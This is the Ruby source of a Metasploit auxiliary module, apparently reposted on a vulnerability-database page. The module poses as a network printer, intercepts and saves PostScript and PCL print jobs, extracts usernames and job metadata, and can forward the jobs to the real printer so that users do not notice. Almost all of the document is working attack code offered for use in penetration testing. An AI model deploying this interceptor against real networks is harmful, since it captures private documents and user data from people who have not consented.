##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'Printjob Capture Service',
'Description' => %q{
This module is designed to listen for PJL or PostScript print
jobs. Once a print job is detected it is saved to loot. The
captured printjob can then be forwarded on to another printer
(required for LPR printjobs). Resulting PCL/PS files can be
read with GhostScript/GhostPCL.
Note, this module does not yet support IPP connections.
},
'Author' => ['Chris John Riley', 'todb'],
'License' => MSF_LICENSE,
'References' =>
[
# Based on previous prn-2-me tool (Python)
['URL', 'http://blog.c22.cc/toolsscripts/prn-2-me/'],
# Readers for resulting PCL/PC
['URL', 'http://www.ghostscript.com']
],
'Actions' => [[ 'Capture', 'Description' => 'Run print job capture server' ]],
'PassiveActions' => ['Capture'],
'DefaultAction' => 'Capture'
)
register_options([
OptPort.new('SRVPORT', [ true, 'The local port to listen on', 9100 ]),
OptBool.new('FORWARD', [ true, 'Forward print jobs to another host', false ]),
OptAddress.new('RHOST', [ false, 'Forward to remote host' ]),
OptPort.new('RPORT', [ false, 'Forward to remote port', 9100 ]),
OptBool.new('METADATA', [ true, 'Display Metadata from printjobs', true ]),
OptEnum.new('MODE', [ true, 'Print mode', 'RAW', ['RAW', 'LPR']]) # TODO: Add IPP
])
deregister_options('SSL', 'SSLVersion', 'SSLCert', 'RHOSTS')
end
def setup
super
@state = {}
begin
@srvhost = datastore['SRVHOST']
@srvport = datastore['SRVPORT'] || 9100
@mode = datastore['MODE'].upcase || 'RAW'
if datastore['FORWARD']
@forward = datastore['FORWARD']
@rport = datastore['RPORT'] || 9100
if datastore['RHOST'].nil?
fail_with(Failure::BadConfig, "Cannot forward without a valid RHOST")
end
@rhost = datastore['RHOST']
print_status("Forwarding all printjobs to #{@rhost}:#{@rport}")
end
if not @mode == 'RAW' and not @forward
fail_with(Failure::BadConfig, "Cannot intercept LPR/IPP without a forwarding target")
end
@metadata = datastore['METADATA']
print_status("Starting Print Server on %s:%s - %s mode" % [@srvhost, @srvport, @mode])
exploit()
rescue => ex
print_error(ex.message)
end
end
def on_client_connect(c)
@state[c] = {
:name => "#{c.peerhost}:#{c.peerport}",
:ip => c.peerhost,
:port => c.peerport,
:user => nil,
:pass => nil,
:data => '',
:raw_data => '',
:prn_title => '',
:prn_type => '',
:prn_metadata => {},
:meta_output => []
}
print_status("#{name}: Client connection from #{c.peerhost}:#{c.peerport}")
end
def on_client_data(c)
curr_data = c.get_once
@state[c][:data] << curr_data
if @mode == 'RAW'
# RAW Mode - no further actions
elsif @mode == 'LPR' or @mode == 'IPP'
response = stream_data(curr_data)
c.put(response)
end
if (Rex::Text.to_hex(curr_data.first)) == '\x02' and (Rex::Text.to_hex(curr_data.last)) == '\x0a'
print_status("LPR Jobcmd \"%s\" received" % curr_data[1..-2]) if not curr_data[1..-2].empty?
end
return if not @state[c][:data]
end
def on_client_close(c)
print_status("#{name}: Client #{c.peerhost}:#{c.peerport} closed connection after %d bytes of data" % @state[c][:data].length)
sock.close if sock
# forward RAW data as it's not streamed
if @forward and @mode == 'RAW'
forward_data(@state[c][:data])
end
#extract print data and Metadata from @state[c][:data]
begin
# postscript data
if @state[c][:data] =~ /%!PS-Adobe/i
@state[c][:prn_type] = "PS"
print_good("Printjob intercepted - type PostScript")
# extract PostScript data including header and EOF marker
@state[c][:raw_data] = @state[c][:data].match(/%!PS-Adobe.*%%EOF/im)[0]
# pcl data (capture PCL or PJL start code)
elsif @state[c][:data].unpack("H*")[0] =~ /(1b45|1b25|1b26)/
@state[c][:prn_type] = "PCL"
print_good("Printjob intercepted - type PCL")
#extract everything between PCL start and end markers (various)
@state[c][:raw_data] = Array(@state[c][:data].unpack("H*")[0].match(/((1b45|1b25|1b26).*(1b45|1b252d313233343558))/i)[0]).pack("H*")
end
# extract Postsript Metadata
metadata_ps(c) if @state[c][:data] =~ /^%%/i
# extract PJL Metadata
metadata_pjl(c) if @state[c][:data] =~ /@PJL/i
# extract IPP Metadata
metadata_ipp(c) if @state[c][:data] =~ /POST \/ipp/i or @state[c][:data] =~ /application\/ipp/i
if @state[c][:prn_type].empty?
print_error("Unable to detect printjob type, dumping complete output")
@state[c][:prn_type] = "Unknown Type"
@state[c][:raw_data] = @state[c][:data]
end
# output discovered Metadata if set
if @state[c][:meta_output] and @metadata
@state[c][:meta_output].sort.each do | out |
# print metadata if not empty
print_status("#{out}") if not out.empty?
end
else
print_status("No metadata gathered from printjob")
end
# set name to unknown if not discovered via Metadata
@state[c][:prn_title] = 'Unnamed' if @state[c][:prn_title].empty?
#store loot
storefile(c) if not @state[c][:raw_data].empty?
# clear state
@state.delete(c)
rescue => ex
print_error(ex.message)
end
end
def metadata_pjl(c)
# extract PJL Metadata
@state[c][:prn_metadata] = @state[c][:data].scan(/^@PJL\s(JOB=|SET\s|COMMENT\s)(.*)$/i)
print_good("Extracting PJL Metadata")
@state[c][:prn_metadata].each do | meta |
if meta[0] =~ /^COMMENT/i
@state[c][:meta_output] << meta[0].to_s + meta[1].to_s
end
if meta[1] =~ /^NAME|^STRINGCODESET|^RESOLUTION|^USERNAME|^JOBNAME|^JOBATTR/i
@state[c][:meta_output] << meta[1].to_s
end
if meta[1] =~ /^NAME/i
@state[c][:prn_title] = meta[1].strip
elsif meta[1] =~/^JOBNAME/i
@state[c][:prn_title] = meta[1].strip
end
end
end
def metadata_ps(c)
# extract Postsript Metadata
@state[c][:prn_metadata] = @state[c][:data].scan(/^%%(.*)$/i)
print_good("Extracting PostScript Metadata")
@state[c][:prn_metadata].each do | meta |
if meta[0] =~ /^Title|^Creat(or|ionDate)|^For|^Target|^Language/i
@state[c][:meta_output] << meta[0].to_s
end
if meta[0] =~ /^Title/i
@state[c][:prn_title] = meta[0].strip
end
end
end
def metadata_ipp(c)
# extract IPP Metadata
@state[c][:prn_metadata] = @state[c][:data]
print_good("Extracting IPP Metadata")
case @state[c][:prn_metadata]
when /User-Agent:/i
@state[c][:meta_output] << @state[c][:prn_metadata].scan(/^User-Agent:.*/i)
when /Server:/i
@state[c][:meta_output] << @state[c][:prn_metadata].scan(/^Server:.*/i)
when /printer-uri..ipp:\/\/.*\/ipp\//i
@state[c][:meta_output] << @state[c][:prn_metadata].scan(/printer-uri..ipp:\/\/.*\/ipp\//i)
when /requesting-user-name..\w+/i
@state[c][:meta_output] << @state[c][:prn_metadata].scan(/requesting-user-name..\w+/i)
end
end
def forward_data(data_to_send)
print_status("Forwarding PrintJob on to #{@rhost}:#{@rport}")
connect
sock.put(data_to_send)
sock.close
end
def stream_data(data_to_send)
vprint_status("Streaming %d bytes of data to #{@rhost}:#{@rport}" % data_to_send.length)
connect if not sock
sock.put(data_to_send)
response = sock.get_once
return response
end
def storefile(c)
# store the file
if @state[c][:raw_data]
jobname = File.basename(@state[c][:prn_title].gsub("\\","/"), ".*")
filename = "#{jobname}.#{@state[c][:prn_type]}"
loot = store_loot(
"prn_snarf.#{@state[c][:prn_type].downcase}",
"#{@state[c][:prn_type]} printjob",
c.peerhost,
@state[c][:raw_data],
filename,
"PrintJob capture"
)
print_good("Incoming printjob - %s saved to loot" % @state[c][:prn_title])
print_good("Loot filename: %s" % loot)
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation